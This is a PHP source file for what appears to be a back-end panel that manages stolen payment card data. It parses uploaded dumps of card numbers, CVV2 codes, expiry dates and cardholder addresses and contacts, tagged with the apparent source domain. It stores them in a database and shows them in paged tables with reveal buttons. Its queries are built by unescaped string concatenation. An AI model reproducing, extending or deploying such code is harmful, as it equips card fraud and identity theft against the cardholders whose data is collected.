<?php

class cards{
	var $page;

	function __construct(){
		if($_SERVER['REQUEST_METHOD']=='GET'){
			$this->view();
		}else{
			$this->upload();
		}
	}

	private function lessData($data,$start,$end){
		/*if(strlen($data)<29){
			return $data;
		}else{
			return substr($data,$start,$end).'...';
		}*/

		return substr($data,$start,$end).'xxxxxxxx';
	}

	private function upload(){
		if(!is_file($_FILES['file']['tmp_name'])){
			$this->warning($GLOBALS['lang']['war6']);
			return false;
		}

		if(filesize($_FILES['file']['tmp_name'])==0){
			$this->warning($GLOBALS['lang']['war7']);
			return false;
		}

		$content=file($_FILES['file']['tmp_name']);

		$this->insertCards($content);
	}

	private function insertCards($array){
		global $connect; $query='';
		for($c=0,$max=sizeof($array);$c<$max;$c++){
			$ex=explode('|',trim($array[$c]));

			if(sizeof($ex)!==16){ continue; }

			$number=preg_replace('/\D+/','',$ex[0]);
			$owner=$ex[1];
			$expires=$ex[2];
			$cv2=$ex[3];
			$ctype=$this->dcard($number);
			$firstname=$ex[4];
			$lastname=$ex[5];
			$address=$ex[6];
			$country=$ex[7];
			$state=$ex[8];
			$city=$ex[9];
			$email=$ex[10];
			$postcode=$ex[11];
			$street=$ex[12];
			$phone=$ex[13];
			$addtime=time();
			$domain=$ex[14];

			if(strlen($number)<9){ continue; }
			if(strlen(!preg_match('/^\d{1,4}\s*\/\s*\d{1,4}$/', $expires))){ continue; }
			if(strlen(intval($cv2))<3 or strlen(intval($cv2))>4){ continue; }


			$query.='("'.base64_encode($number).'","'.base64_encode($owner).'","'.base64_encode($expires).'","'.base64_encode($cv2).'","'.$ctype.'","'.base64_encode($firstname).'","'.base64_encode($lastname).'","'.base64_encode($address).'","'.base64_encode($country).'","'.base64_encode($state).'","'.base64_encode($city).'","'.base64_encode($email).'","'.base64_encode($postcode).'","'.base64_encode($street).'","'.base64_encode($phone).'","'.$addtime.'","'.base64_encode($domain).'"),';
		}

		if($query==''){
			$this->warning($GLOBALS['lang']['war9']);
		}else{
			@mysqli_query($connect,'INSERT INTO cards(cnumber,owner,expires,cvv2,ctype,firstname,lastname,address,country,state,city,email,postcode,street,phone,addtime,domain) VALUES'.substr($query,0,-1));

			$this->success($GLOBALS['lang']['war8']);
		}
	}

	private function dcard($cardNumber) {
	    $cardNumber = preg_replace('/\D/','',$cardNumber);

	    $cardTypes = array(
	        '1' => '/^4[0-9]{12}(?:[0-9]{3})?$/', // visa
	        '2' => '/^5[1-5][0-9]{14}$/', // mastercard
	        '3' => '/^3[47][0-9]{13}$/', // amex
	        '4' => '/^6(?:011|5[0-9]{2})[0-9]{12}$/', // discover
	        '5' => '/^3(?:0[0-5]|[68][0-9])[0-9]{11}$/', // diners
	        '6' => '/^(?:2131|1800|35\d{3})\d{11}$/', // jcb
	        '7' => '/^62[0-9]{14,17}$/', // unionpay
	        '8' => '/^(5[06-9]|6[37])[0-9]{10,17}$/' // maestro
	    );

	    foreach ($cardTypes as $type => $pattern) {
	        if (preg_match($pattern, $cardNumber)) {
	            return $type;
	        }
	    }
	    return '0';
	}
	
	private function view(){
		$this->PerPage(); $per_page=$this->page;
		$page=intval(trim($_GET['page']));
		if((!is_numeric($_GET['page']) or $page<1) and isset($_GET['page'])===true){ ban_acc(); exit; }

		if(isset($_GET['page'])) $page-=1; else $page=0;
		$start=abs($page*$per_page); $c=1; global $connect;

		$MySQL=mysqli_query($connect,'SELECT * FROM cards ORDER BY id DESC LIMIT '.$start.','.$per_page);

		$th='';

		while($row=mysqli_fetch_assoc($MySQL)){
			$th.='
								<tr id="id'.$row['id'].'">
									<td>'.$row['id'].'</td>
									<td id="actions'.$row['id'].'" style="vertical-align: middle;">
										<a onclick="deltr('.$row['id'].');" class="btn btn-danger btn-xs">
											<span class="glyphicon glyphicon-remove"></span> '.$GLOBALS['lang']['tri6'].'
										</a>
									</td>
									<td id="cc'.$row['id'].'">
										<img src="./img/pay/'.$row['ctype'].'.png"> '.$this->lessData(base64_decode($row['cnumber']),0,8).'
										<a onclick="viewd('.$row['id'].',\'cc\');" style="cursor: default;">
											<img src="./img/view.png">
										</a>
									</td>
									<td>'.base64_decode($row['owner']).'</td>
									<td>'.base64_decode($row['expires']).'</td>
									<td id="cvv'.$row['id'].'">
										<a onclick="viewd('.$row['id'].',\'cvv\');" style="cursor: default;">
											<img src="./img/view.png">
										</a>
									</td>
									<td>'.base64_decode($row['firstname']).'</td>
									<td>'.base64_decode($row['lastname']).'</td>
									<td>'.base64_decode($row['address']).'</td>
									<td>'.base64_decode($row['country']).'</td>
									<td>'.base64_decode($row['state']).'</td>
									<td>'.base64_decode($row['city']).'</td>
									<td>'.base64_decode($row['email']).'</td>
									<td>'.base64_decode($row['postcode']).'</td>
									<td>'.base64_decode($row['street']).'</td>
									<td>'.base64_decode($row['phone']).'</td>
									<td>'.date('d.m.Y H:i',$row['addtime']).'</td>
									<td>'.base64_decode($row['domain']).'</td>
								</tr>';
		}

		if($th==''){
			$th='<tr><td colspan="18"><div class="bs-component"><div class="alert alert-dismissible alert-danger"><button type="button" class="close" data-dismiss="alert">&times;</button>'.$GLOBALS['lang']['mes4'].'</div></td></tr>';
		}

		

		$pagination=$this->pagination();

		include('./inc/cards.php');
	}

	private function pagination(){
		$per_page=$this->page;
		$p=intval(trim($_GET['page']));

		if((!is_numeric($_GET['page']) or $p<1) and isset($_GET['page'])===true){ ban_acc(); exit; }
		if(isset($_GET['page'])) $page=($p-1); else $page=0; global $connect;

        $res=mysqli_query($connect,'SELECT count(*) FROM cards');
        $num=mysqli_fetch_row($res); $total_rows=$num[0];
        $num_pages=ceil($total_rows/$per_page); $number='';

        for($i=1;$i<=$num_pages;$i++){
        	if($i-1==$page){
        		if(!is_numeric($p) or $p==0){
                    $number.='<li class="active"><a href="?cards&page='.$i.'">'.$i.'</a></li>';
                    continue;
                }
                if($p==$i){
                    $number.='<li class="active"><a href="?cards&page='.$i.'">'.$i.'</a></li>';
                    continue;
                }
                $number.='<li><a href="?cards&page='.$i.'">'.$i.'</a></li>';
            }else{
            	if($p==$i){
                    $number.='<li class="active"><a href="?cards&page='.$i.'">'.$i.'</a></li>';
                    continue;
                }
                $number.='<li><a href="?cards&page='.$i.'">'.$i.'</a></li>';
            }
        }

        if(is_numeric($p) and $p>1){
            $pages=$p-1;
            $left='<li><a href="?cards&page='.$pages.'">&laquo;</a></li>';
        }else{
            $left='<li class="disabled"><a>&laquo;</a></li>';
        }
        
        if(is_numeric($p) and $p==0 and $num_pages>1){
        	$right='<li><a href="?cards&page=2">&raquo;</a></li>';
        }elseif(is_numeric($p) and $p<$num_pages and $p!==0){
            $pages=$p+1;
            $right='<li><a href="?cards&page='.$pages.'">&raquo;</a></li>';
        }elseif(!is_numeric($p) and $num_pages>1){
            $right='<li><a href="?cards&page=2">&raquo;</a></li>';
        }else{
            $right='<li class="disabled"><a>&raquo;</a></li>';
        }

        if($number==''){
        	$left=''; $right='';
        }

        return $left.$number.$right;
    }

    private function success($text){
		$location='cards';
		include('./inc/success.php');
	}

	private function warning($text){
	   $location='cards';
	   include('./inc/warning.php');
    }

	private function PerPage(){
		$perpage=intval(trim($_COOKIE['perpage']));
    	if(is_numeric($perpage) and $perpage>0){
    		$this->page=$perpage;
    		return true;
    	}
    	$this->page=100;
    	return false;
    }
}

?>